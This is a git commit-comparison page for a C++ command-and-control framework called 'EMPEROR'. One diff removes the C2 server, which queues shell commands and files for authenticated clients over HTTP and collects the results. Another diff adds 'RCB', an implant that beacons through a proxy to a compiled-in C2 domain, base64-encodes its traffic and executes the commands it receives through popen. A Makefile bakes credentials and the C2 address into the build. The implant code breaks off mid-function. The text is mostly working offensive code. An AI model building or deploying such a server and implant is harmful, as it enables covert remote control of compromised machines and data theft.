Compare commits
No commits in common. "50d38762c23240c1224235ea5e02e3defcf1410a" and "66c0839d5462b1251dd82882bf714b844ac30ee0" have entirely different histories.
50d38762c2
...
66c0839d54
|
@ -1 +1 @@
|
|||
Emperor
|
||||
bin
|
||||
|
|
|
@ -1,19 +1,19 @@
|
|||
{
|
||||
"configurations": {
|
||||
"Debug EmperorClient": {
|
||||
"Debug RCB": {
|
||||
"adapter": "vscode-cpptools",
|
||||
"configuration": {
|
||||
"type": "cppdbg",
|
||||
"request": "launch",
|
||||
"program": "${workspaceRoot}/bin/EmperorD",
|
||||
"program": "${workspaceRoot}/RCB",
|
||||
"args": [
|
||||
],
|
||||
"cwd": "${workspaceRoot}/bin",
|
||||
"cwd": "${workspaceRoot}",
|
||||
"environment": [
|
||||
],
|
||||
"stopAtEntry": true,
|
||||
"MIMode": "gdb"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
489
Emperor.cpp
489
Emperor.cpp
|
@ -1,489 +0,0 @@
|
|||
#include <array>
|
||||
#include <fstream>
|
||||
#include <httpserver.hpp>
|
||||
#include <iostream>
|
||||
#include <map>
|
||||
#include <regex>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <vector>
|
||||
|
||||
// GLOBALS
|
||||
bool bIncomingHey = false;
|
||||
std::string sIncomingHeyUser;
|
||||
bool bShutdown = false;
|
||||
|
||||
std::string decodeQuadruplet(char cEncoded1, char cEncoded2, char cEncoded3, char cEncoded4)
|
||||
{
|
||||
std::array<std::uint8_t, 128> aDecodeTable{0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64,
|
||||
0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x3E,
|
||||
0x64, 0x64, 0x64, 0x3F, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x00,
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16,
|
||||
0x17, 0x18, 0x19, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26,
|
||||
0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x64, 0x64, 0x64, 0x64, 0x64};
|
||||
std::uint32_t iCombinedChars = aDecodeTable[cEncoded1] << 18 | aDecodeTable[cEncoded2] << 12 | aDecodeTable[cEncoded3] << 6 | aDecodeTable[cEncoded4];
|
||||
|
||||
std::ostringstream oss;
|
||||
oss << char(iCombinedChars >> 16);
|
||||
oss << char(iCombinedChars >> 8 & 0xFF);
|
||||
oss << char(iCombinedChars & 0xFF);
|
||||
return oss.str();
|
||||
}
|
||||
|
||||
std::string b64Decode(std::string sEncoded)
|
||||
{
|
||||
std::string sDecoded = "";
|
||||
while (sEncoded.length() > 0)
|
||||
{
|
||||
if (sEncoded[3] == '$')
|
||||
{
|
||||
if (sEncoded[2] == '$')
|
||||
{
|
||||
sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], 'A', 'A');
|
||||
sEncoded.erase(0, 4);
|
||||
sDecoded.erase(sDecoded.length() - 2, 2);
|
||||
}
|
||||
else
|
||||
{
|
||||
sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], sEncoded[2], 'A');
|
||||
sEncoded.erase(0, 4);
|
||||
sDecoded.erase(sDecoded.length() - 1, 1);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
sDecoded += decodeQuadruplet(sEncoded[0], sEncoded[1], sEncoded[2], sEncoded[3]);
|
||||
sEncoded.erase(0, 4);
|
||||
}
|
||||
}
|
||||
return sDecoded;
|
||||
}
|
||||
std::vector<std::vector<std::string>> retrievecreds(std::string sFile) // takes a file path as a parameter and parses the combinations of usernames and passwords from the file for insertion
|
||||
// into a vector of strings
|
||||
{
|
||||
std::vector<std::vector<std::string>> sCreds; // define 2d vector of strings for storing creds
|
||||
std::vector<std::string> sUsernames; // vector of strings for storing usernames
|
||||
std::vector<std::string> sPasswords; // vector of strings for storing passwords
|
||||
std::fstream fCreds; // filestream for reading provided file
|
||||
fCreds.open("creds", std::ios::in); // open file provided in parameter
|
||||
char ch;
|
||||
bool bUsername = true; // flag used to determine if username is currently being parsed, set to true by default as creds are in the form username:password
|
||||
std::string sUsername = ""; // string to store username
|
||||
std::string sPassword = ""; // string to store password
|
||||
|
||||
while (true) // loop forever
|
||||
{
|
||||
fCreds >> ch;
|
||||
|
||||
if (fCreds.eof()) // if the end of the credentials file has been reached
|
||||
{
|
||||
sPasswords.push_back(sPassword); // push the last password back into the vector of passwords
|
||||
break; // and break the loop
|
||||
}
|
||||
|
||||
if (ch == ':') // if we have reached the end of the username
|
||||
{
|
||||
bUsername = false; // set the bUsername flag to false
|
||||
fCreds >> ch; // retrieve the next char from the file
|
||||
sUsernames.push_back(sUsername); // add the previous username to the sUsernames vector
|
||||
sUsername = ""; // set the sUsername variable to empty
|
||||
}
|
||||
|
||||
if (ch == '\n') // if we have encountered a line break
|
||||
{
|
||||
bUsername = true; // set the bUsername flag to true
|
||||
fCreds >> ch; // retrieve the next char from the file
|
||||
sPasswords.push_back(sPassword); // add the previous password to the sPasswords vector
|
||||
sPassword = ""; // set the sPassword variable to empty
|
||||
}
|
||||
|
||||
if (bUsername) // if the bUsername flag is true
|
||||
{
|
||||
sUsername += ch; // then append the retrieved char to the sUsername string
|
||||
}
|
||||
else // if the bUsername flag is false
|
||||
{
|
||||
sPassword += ch; // then append the retrieved char to the sPassword string
|
||||
}
|
||||
}
|
||||
|
||||
sCreds.push_back(sUsernames); // add the sUsernames vector to the sCreds 2d vector
|
||||
sCreds.push_back(sPasswords); // add the sPasswords vector to the sCreds 2d vector
|
||||
return sCreds; // return the sCreds 2d vector
|
||||
}
|
||||
|
||||
std::vector<std::vector<std::string>> sCreds = retrievecreds("creds"); // call the retrievecreds function with the filename "creds" as a parameter and save the returned vector to a 2d vector
|
||||
// called sCreds
|
||||
|
||||
std::map<std::string, bool> createUserConnections(std::vector<std::vector<std::string>> sCreds) // takes a vector of strings containing the listed credentials and creates a dictionary containing the
|
||||
// username of the registered client as the key and a false boolean for later use
|
||||
{
|
||||
std::map<std::string, bool> mConnections; // define mConnections, a map containing string as the key and bool as the value
|
||||
|
||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials
|
||||
{
|
||||
mConnections[sCreds[0][iUsernameIndex]] = false; // set the value of the username to an empty string
|
||||
}
|
||||
return mConnections; // return the map
|
||||
}
|
||||
|
||||
std::map<std::string, std::string> createUserComms(std::vector<std::vector<std::string>> sCreds) // creates a dictionary containing the username of the registered client
|
||||
// as the key and an empty value for later use
|
||||
{
|
||||
std::map<std::string, std::string> mComms; // define mComms, a map containing string as the key and value
|
||||
|
||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials
|
||||
{
|
||||
mComms[sCreds[0][iUsernameIndex]] = ""; // set the value of the username to an empty string
|
||||
}
|
||||
return mComms; // return the map
|
||||
}
|
||||
|
||||
std::map<std::string, std::pair<std::string, std::string>> createUserFiles(std::vector<std::vector<std::string>> sCreds) // creates a dictionary containing the username of the registered
|
||||
// client as the key and an empty string pair for later use
|
||||
{
|
||||
std::map<std::string, std::pair<std::string, std::string>> mComms; // define mComms, a map containing string as the key and value
|
||||
|
||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in the list of credentials
|
||||
{
|
||||
mComms[sCreds[0][iUsernameIndex]].first = ""; // set the value of the username to an empty string
|
||||
mComms[sCreds[0][iUsernameIndex]].second = ""; // set the value of the username to an empty string
|
||||
}
|
||||
return mComms; // return the map
|
||||
}
|
||||
|
||||
std::map<std::string, std::string> mCommands = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of strings to
|
||||
// mCommands
|
||||
|
||||
std::map<std::string, std::string> mResults = createUserComms(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to
|
||||
// mResults
|
||||
|
||||
std::map<std::string, std::pair<std::string, std::string>> mInFiles =
|
||||
createUserFiles(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles
|
||||
|
||||
std::map<std::string, std::pair<std::string, std::string>> mOutFiles =
|
||||
createUserFiles(sCreds); // call the createUserComms function with the 2d vector sCreds as an argument, saving the returned map of string to mOutFiles
|
||||
|
||||
std::map<std::string, bool> mConnections = createUserConnections(sCreds); // call the defaultUserConnections function with the 2d vector sCreds as an argument, saving the returned map of
|
||||
// string and bool to mConnections
|
||||
|
||||
std::string listUserConnections(std::map<std::string, bool> mConnections) // iterates through the provided mConnections map, checking if the value for a username is true and if so, it adds
|
||||
// the username along with a string which confirms the client is active to the oss, which is returned as string
|
||||
{
|
||||
std::ostringstream oss; // declare ostringstream oss for later use as a dynamic string
|
||||
for (auto const &[key, val] : mConnections) // for each key and value in mConnections, assign these to variables key and val
|
||||
{
|
||||
if (val == true) // if the value for the key is true
|
||||
{
|
||||
oss << key << " is active.\n"; // then add the key to the oss as well as a string to confirm the client is active
|
||||
}
|
||||
}
|
||||
std::string sConnections = oss.str(); // convert oss to string
|
||||
return sConnections; // return the converted string
|
||||
}
|
||||
|
||||
class command_and_control : public httpserver::http_resource // class for command and control http resource
|
||||
{
|
||||
public:
|
||||
bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername,
|
||||
std::string sPassword) // takes 2d vector sCreds along with the provided username and password from the
|
||||
// client in order to verify their credentials, returns true if successful
|
||||
{
|
||||
for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++) // for each username in sCreds
|
||||
{
|
||||
if (sCreds[0][iUsernameIndex] == sUsername) // if the selected username in the vector matches the username provided by the client
|
||||
{
|
||||
for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++) // for each password in sCreds
|
||||
{
|
||||
if (sCreds[1][iPasswordIndex] == sPassword) // if the selected password in the vector matches the password provided by the client
|
||||
{
|
||||
return true; // then return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false; // otherwise return false
|
||||
}
|
||||
|
||||
const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req) // responsible for rendering the http response from the server
|
||||
{
|
||||
if (verifycreds(sCreds, req.get_user(), req.get_pass())) // if the provided http auth credentials from the client are in the sCreds 2d vector
|
||||
{
|
||||
if (req.get_method() == "POST") // if the method used is post
|
||||
{
|
||||
if (b64Decode(req.get_arg("msg")) == "ready") // if the client is initiating a connection
|
||||
{
|
||||
std::ostringstream oss; // declare ostringstream oss for response creation
|
||||
oss << "msg=acknowledged"; // add specific response for client to confirm connection has been established
|
||||
std::string sResponse = oss.str(); // convert oss to string
|
||||
bIncomingHey = true; // set the bIncomingHey flag to true
|
||||
sIncomingHeyUser = req.get_user(); // set the sIncomingHeyUser string to the value of the username used by the client
|
||||
mConnections[req.get_user()] = true; // set the connection value of the user in question to true
|
||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse)); // return the generated response to the client
|
||||
}
|
||||
else if (b64Decode(req.get_arg("msg")) == "reqcmd") // if the client is requesting a command from the server
|
||||
{
|
||||
if (mCommands[req.get_user()] != "") // if there is a command waiting to be executed from the server
|
||||
{
|
||||
std::ostringstream oss; // declare ostringstream oss for response creation
|
||||
oss << "run=" << mCommands[req.get_user()]; // add command to the oss
|
||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str())); // return the generated response to the client
|
||||
}
|
||||
|
||||
else if (mOutFiles[req.get_user()].first != "") // if there is a file waiting to be downloaded from the server
|
||||
{
|
||||
std::ostringstream oss; // declare ostringstream for response creation
|
||||
oss << "filename=" << mOutFiles[req.get_user()].first << "&content=" << mOutFiles[req.get_user()].second; // add filename and file content to the oss
|
||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str())); // return the generated response to the client
|
||||
}
|
||||
|
||||
else // otherwise
|
||||
{
|
||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd")); // tell the client there is no command in the queue
|
||||
}
|
||||
}
|
||||
|
||||
else if (b64Decode(req.get_arg("msg")) == "saved")
|
||||
{
|
||||
std::cout << "Client " << req.get_user() << " successfully saved the file." << std::endl;
|
||||
mOutFiles[req.get_user()].first = "";
|
||||
mOutFiles[req.get_user()].second = "";
|
||||
}
|
||||
|
||||
else if (b64Decode(req.get_arg("msg")) == "error")
|
||||
{
|
||||
std::cout << "Client " << req.get_user() << " encountered an error whilst saving the file." << std::endl;
|
||||
mOutFiles[req.get_user()].first = "";
|
||||
mOutFiles[req.get_user()].second = "";
|
||||
}
|
||||
|
||||
else if (b64Decode(req.get_arg("result")) != "") // if the client has submitted a result from a command
|
||||
{
|
||||
mCommands[req.get_user()] = ""; // the value for the client in the mCommands map wil be set to empty
|
||||
mResults[req.get_user()] = b64Decode(req.get_arg("result")); // the value for the client in the mResults map will be set to the returned result
|
||||
std::ostringstream oss; // declare osstringstream oss for response creation
|
||||
oss << "msg=acknowledged"; // add specific response for client to confirm that the result from the command was recieved
|
||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str())); // return the generated response to the client
|
||||
}
|
||||
}
|
||||
}
|
||||
return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(req.get_content())); // otherwise return not found
|
||||
}
|
||||
};
|
||||
|
||||
void checkConnections() // checks if there is an incoming connection from a client, if there is then the function prints out a message stating the username connecting
|
||||
{
|
||||
while (!bShutdown) // whilst the server is not shutting down
|
||||
{
|
||||
if (bIncomingHey) // if the bIncomingHey flag is true
|
||||
{
|
||||
std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush; // then print incoming connection from, with the username and finally
|
||||
// print the prompt on the next line
|
||||
bIncomingHey = false; // set the bIncomingHey flag to false
|
||||
sIncomingHeyUser = ""; // set the sIncomingHeyUser string to empty
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool uploadFile(std::string sFilename, std::string sUsername)
|
||||
{
|
||||
std::string sContent; // declare string sContent for later use
|
||||
sContent += sFilename + '\n'; // append filename along with a linebreak to the file content for use by the client
|
||||
std::ifstream fFile; // declare ifstream fFile for later use
|
||||
fFile.open(sFilename); // open the file provided as an argument
|
||||
char ch; // declare char for reading file
|
||||
while (fFile) // whilst the end of the file has not been reached
|
||||
{
|
||||
ch = fFile.get(); // get the next char from the file
|
||||
sContent += ch; // append it to the sContent string
|
||||
}
|
||||
|
||||
if (sContent != "") // if the file was successfully read
|
||||
{
|
||||
mOutFiles[sUsername].first = sFilename; // then set the value of the username key in the mOutFiles map to the parsed content of the file
|
||||
mOutFiles[sUsername].second = sContent; // then set the value of the second value for username key in the mOutFiles map to the parsed content of the file
|
||||
return true;
|
||||
}
|
||||
else // otherwise
|
||||
{
|
||||
return false; // the file was not successfully read
|
||||
}
|
||||
}
|
||||
|
||||
void downloadFile(std::string sContent, std::string sUsername)
|
||||
{
|
||||
std::ofstream fFile; // declare ifstream fFile for later use
|
||||
std::string sFilename; // declare string sFilename for later use
|
||||
|
||||
for (int i = 0; i < sContent.length() - 1; i++) // for each char in the sContent string
|
||||
{
|
||||
if (sContent[i] == '\n') // if the selected char is a line break
|
||||
{
|
||||
break;
|
||||
}
|
||||
sFilename += sContent[i]; // add the selected char to the sFilename string
|
||||
}
|
||||
|
||||
fFile.open(sFilename); // creatr file with provided filename
|
||||
fFile << sContent; // write file content to file
|
||||
}
|
||||
|
||||
void interactConnection(std::string sIdentifier) // begin issuing commands to the client provided as a parameter
|
||||
{
|
||||
std::string sCommand; // declare sCommand string to store command input
|
||||
std::cout << "Starting interaction with " << sIdentifier << std::endl; // show the connection that the user is beginning interaction with
|
||||
while (true) // loop forever
|
||||
{
|
||||
std::cout << "[EMPEROR - " << sIdentifier << "]>"; // print prompt with username of connected client
|
||||
std::getline(std::cin, sCommand); // get user input
|
||||
std::regex rUpload(":u "); // compile upload regex for later use
|
||||
|
||||
if (sCommand == ":q") // if the command is quit
|
||||
{
|
||||
break; // exit the interactive connection
|
||||
}
|
||||
else if (std::regex_search(sCommand, rUpload)) // if the command is upload
|
||||
{
|
||||
bool bFilename = false; // declare bool bFilename flag which is set to false by default
|
||||
bool bResult; // declare bool bResult for later use
|
||||
std::string sFilename; // declare string sFilename for later use
|
||||
for (int i = 0; i < sCommand.length(); i++) // for each char in sCommand string
|
||||
{
|
||||
if (bFilename) // if the filename is currently being parsed
|
||||
{
|
||||
sFilename += sCommand[i]; // add the currently selected char to the sFilename string
|
||||
}
|
||||
|
||||
if (sCommand[i] == ' ') // if the currently selected char is a space
|
||||
{
|
||||
bFilename = true; // set the bFilename flag to true
|
||||
}
|
||||
}
|
||||
|
||||
bResult = uploadFile(sFilename, sIdentifier); // call the uploadFile function with the filename and identifier as parameters, saving the return to the bResult bool
|
||||
|
||||
if (bResult) // if the uploadFile function returned true
|
||||
{
|
||||
std::cout << "Command sent, awaiting response..." << std::endl; // tell the user that the command has been added to the queue and is awaiting a response
|
||||
while (mOutFiles[sIdentifier].first != "") // whilst the file has not been removed from the mOutFiles array
|
||||
{
|
||||
continue; // do nothing and block further execution
|
||||
}
|
||||
}
|
||||
else // otherwise
|
||||
{
|
||||
std::cout << "The provided file does not exist or cannot be read." << std::endl; // tell the user the file provided could not be read
|
||||
}
|
||||
}
|
||||
else // otherwise
|
||||
{
|
||||
mCommands[sIdentifier] = sCommand; // add the command to the value for the username key in the mCommands map
|
||||
std::cout << "Command sent, awaiting response..." << std::endl; // tell the user that the command has been added to the queue and is awaiting a response
|
||||
while (mResults[sIdentifier].empty()) // whilst the client has not submitted a result for the command
|
||||
{
|
||||
continue; // do nothing and block further execution
|
||||
}
|
||||
std::cout << "Result: " << mResults[sIdentifier] << std::endl; // when the response is submitted, print the result to the user from the mResults map
|
||||
mResults[sIdentifier] = ""; // set the value of the key for the client in question to an empty string
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void prompt()
|
||||
{
|
||||
std::cout << "========== EMPEROR C2 Framework ==========" << std::endl;
|
||||
std::cout << R"( _____
|
||||
,888888b.
|
||||
.d888888888b
|
||||
_..-'.`*'_,88888b
|
||||
,'..-..`"ad88888888b.
|
||||
``-. `*Y888888b.
|
||||
\ `Y888888b.
|
||||
: Y8888888b.
|
||||
: Y88888888b.
|
||||
| _,8ad88888888.
|
||||
: .d88888888888888b.
|
||||
\d888888888888888888
|
||||
8888;'''`88888888888
|
||||
888' Y8888888888
|
||||
`Y8 :8888888888
|
||||
|` '8888888888
|
||||
| 8888888888
|
||||
| 8888888888
|
||||
| 8888888888
|
||||
| ,888888888P
|
||||
: ;888888888'
|
||||
\ d88888888'
|
||||
_.>, 888888P'
|
||||
<,--''`.._>8888(
|
||||
`>__...--' `''` )"
|
||||
<< std::endl;
|
||||
std::cout << "=========================================" << std::endl; // print out fancy splash screen for server
|
||||
std::string sCommand; // declare string sCommand for storing user input
|
||||
while (true) // loop forever
|
||||
{
|
||||
std::cout << "[EMPEROR]>"; // print prompt
|
||||
std::getline(std::cin, sCommand); // get input to sCommand string
|
||||
std::regex rConnect("connect "); // compile rConnect regex
|
||||
|
||||
if (sCommand == "connections") // if the user wants to list the current connections
|
||||
{
|
||||
std::cout << listUserConnections(mConnections); // then call the listUserConnections function with the argument of the mConnections map and print the return from the function
|
||||
}
|
||||
|
||||
if (std::regex_search(sCommand, rConnect)) // if the user is trying to interact with a specific connection
|
||||
{
|
||||
std::vector<std::string> sCommands; // declare a vector of strings sCommands which is used to store the command after it has been split
|
||||
std::string sSplit; // declare string sSplit for storing each section of the split string
|
||||
for (int i = 0; i < sCommand.length(); i++) // for each char in the sCommand string
|
||||
{
|
||||
if (sCommand[i] == ' ') // if the char is a space
|
||||
{
|
||||
sCommands.push_back(sSplit); // add the sSplit string to the sCommands vector
|
||||
/*if (sCommands.size() >= 2) // if the sCommands vector has two strings
|
||||
{
|
||||
break; // then break out of the for loop
|
||||
}*/
|
||||
sSplit = ""; // set the sSplit string to empty
|
||||
}
|
||||
else // otherwise
|
||||
{
|
||||
sSplit.push_back(sCommand[i]); // add the currently selected char from the sCommand string to the sSplit string
|
||||
if (i == (sCommand.length() - 1)) // if the end of the sCommand string has been reached
|
||||
{
|
||||
sCommands.push_back(sSplit); // add the sSplit string to the sCommands vector
|
||||
}
|
||||
}
|
||||
}
|
||||
if (mConnections[sCommands[1]]) // if the client which the user wishes to interact with has an active connection
|
||||
{
|
||||
interactConnection(sCommands[1]); // then begin interacting with the connection, providing interactConnection with the username of the client in question
|
||||
}
|
||||
else // otherwise
|
||||
{
|
||||
std::cout << "That client is not currently connected." << std::flush; // tell the user the client is not currently connected
|
||||
}
|
||||
}
|
||||
|
||||
if (sCommand == "q" || sCommand == "quit" || sCommand == "exit") // if the user wishes to quit
|
||||
{
|
||||
bShutdown = true; // set the bShutdown flag to true
|
||||
break; // break out of the while loop
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
command_and_control c2; // instanciate the command and control class
|
||||
httpserver::webserver ws = httpserver::create_webserver(8665); // create the webserver, ensuring ssl is enabled and
|
||||
// the server is using the provided crt and key
|
||||
ws.register_resource("/", &c2); // register the c2 resource at a randomly generated URL
|
||||
// ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2); // register the c2 resource at a randomly
|
||||
// generated URL
|
||||
ws.start(false); // start the webserver in non-blocking mode
|
||||
std::thread tCheck(checkConnections); // run checkConnections in a new thread
|
||||
prompt(); // run the interactive prompt
|
||||
tCheck.join(); // after the prompt has exited, wait for the checkConnections thread to end
|
||||
return 0;
|
||||
}
|
7
Makefile
7
Makefile
|
@ -1,2 +1,7 @@
|
|||
$(info username is $(sUsername))
|
||||
$(info password is $(sPassword))
|
||||
$(info c2 domain is $(sC2Domain))
|
||||
$(info proxy is $(sProxy))
|
||||
|
||||
default:
|
||||
g++ Emperor.cpp -I /usr/local/include -L /usr/local/lib -lhttpserver -pthread -o Emperor
|
||||
g++ -DsUsername="$(sUsername)" -DsPassword="$(sPassword)" -DsC2Domain="$(sC2Domain)" -DsProxy="$(sProxy)" RCB.cpp -o RCB -lcurl
|
||||
|
|
|
@ -0,0 +1,219 @@
|
|||
#include <curl/curl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <array>
|
||||
#include <fstream>
|
||||
#include <iostream>
|
||||
#include <regex>
|
||||
#include <string>
|
||||
|
||||
#define STR1(x) #x // double string expansion nightmare
|
||||
#define STR(x) STR1(x)
|
||||
|
||||
size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s)
|
||||
{
|
||||
size_t newLength = size * nmemb;
|
||||
try
|
||||
{
|
||||
s->append((char *)contents, newLength);
|
||||
}
|
||||
catch (std::bad_alloc &e)
|
||||
{
|
||||
// handle memory problem
|
||||
return 0;
|
||||
}
|
||||
return newLength;
|
||||
}
|
||||
|
||||
std::string encodeTriplet(std::uint8_t iByte1, std::uint8_t iByte2, std::uint8_t iByte3)
|
||||
{
|
||||
std::array<char, 64> encodeTable{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
|
||||
'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
|
||||
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
|
||||
std::string sEncodedTriplet = "";
|
||||
std::uint32_t combinedTriplet = (iByte1 << 16) | (iByte2 << 8) | iByte3;
|
||||
sEncodedTriplet += encodeTable[combinedTriplet >> 18];
|
||||
sEncodedTriplet += encodeTable[combinedTriplet >> 12 & 0x3F];
|
||||
sEncodedTriplet += encodeTable[combinedTriplet >> 6 & 0x3F];
|
||||
sEncodedTriplet += encodeTable[combinedTriplet & 0x3F];
|
||||
return sEncodedTriplet;
|
||||
}
|
||||
|
||||
std::string b64Encode(std::string sWriteData)
|
||||
{
|
||||
std::string sEncodedData = "";
|
||||
std::string sEncodedBuffer;
|
||||
|
||||
while (sWriteData.length() > 0)
|
||||
{
|
||||
if (sWriteData.length() >= 3)
|
||||
{
|
||||
sEncodedData += encodeTriplet(sWriteData[0], sWriteData[1], sWriteData[2]);
|
||||
sWriteData.erase(0, 3);
|
||||
}
|
||||
else if (sWriteData.length() == 2)
|
||||
{
|
||||
sEncodedBuffer = encodeTriplet(sWriteData[0], sWriteData[1], '0');
|
||||
sEncodedBuffer.replace(3, 1, "$");
|
||||
sEncodedData += sEncodedBuffer;
|
||||
sWriteData.erase();
|
||||
}
|
||||
else if (sWriteData.length() == 1)
|
||||
{
|
||||
sEncodedBuffer = encodeTriplet(sWriteData[0], '0', '0');
|
||||
sEncodedBuffer.replace(2, 2, "$$");
|
||||
sEncodedData += sEncodedBuffer;
|
||||
sWriteData.erase();
|
||||
}
|
||||
}
|
||||
return sEncodedData;
|
||||
}
|
||||
|
||||
std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "")
|
||||
{
|
||||
CURL *curl;
|
||||
CURLcode res;
|
||||
std::string sReadData;
|
||||
sValue1 = b64Encode(sValue1);
|
||||
std::string sWriteData = sParam1 + "=" + sValue1;
|
||||
|
||||
if (sParam2 != "")
|
||||
{
|
||||
sValue2 = b64Encode(sValue2);
|
||||
sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2;
|
||||
}
|
||||
|
||||
curl = curl_easy_init(); // init curl
|
||||
|
||||
if (curl)
|
||||
{
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use
|
||||
curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth
|
||||
curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method
|
||||
curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth
|
||||
curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response
|
||||
// char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str()); //); // choose the data to send in the post request
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function
|
||||
curl_easy_perform(curl); // run query
|
||||
}
|
||||
return sReadData;
|
||||
}
|
||||
|
||||
std::string exec(std::string sCommand) // takes a pointer to an array of char containing the command and executes it in the shell, returning the stdout
|
||||
{
|
||||
std::array<char, 128> buffer; // define 128 length array of char for buffering stdout to result
|
||||
std::string result; // declare string result for later use
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(sCommand.c_str(), "r"), pclose); // run popen with the command as an argument
|
||||
if (!pipe) // if the popen was unsuccessful for whatever reason
|
||||
{
|
||||
throw std::runtime_error("popen() failed!"); // throw runtime error
|
||||
}
|
||||
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) // whilst data is being written to the stdout, add the buffered data to the result string
|
||||
{
|
||||
result += buffer.data();
|
||||
}
|
||||
return result; // return the result of the command
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
const std::string sOk = "msg=acknowledged";
|
||||
std::regex rRun("^run=(.|\n)+"); // compile regular expression rRun, which matches the run command (to execute an instruction)
|
||||
std::regex rUpload("^filename=(.|\n)+"); // compile regular expression rUpload, which matches the filename command (to upload a file)
|
||||
std::string sResponse; // declare string sResponse for later use
|
||||
srand(time(0)); // init srand with the current unix time as the seed
|
||||
|
||||
sResponse = sendData("msg", "ready", "type", "basic");
|
||||
std::cout << sResponse << std::endl;
|
||||
if (sResponse == sOk) // if the server acknowledges our connection
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
sResponse = sendData("msg", "reqcmd");
|
||||
std::cout << sResponse << std::endl;
|
||||
|
||||
if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run
|
||||
{
|
||||
std::vector<std::string> sData; // declares a vector of strings sData
|
||||
std::string sSplit; // declares string sSplit for later use
|
||||
for (int i = 0; i < sResponse.length(); i++) // for each char in the sCommand string
|
||||
{
|
||||
if (sResponse[i] == '=') // if we have reached the end of the parameter
|
||||
{
|
||||
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
||||
sSplit = ""; // set sSplit to empty
|
||||
}
|
||||
else // otherwise
|
||||
{
|
||||
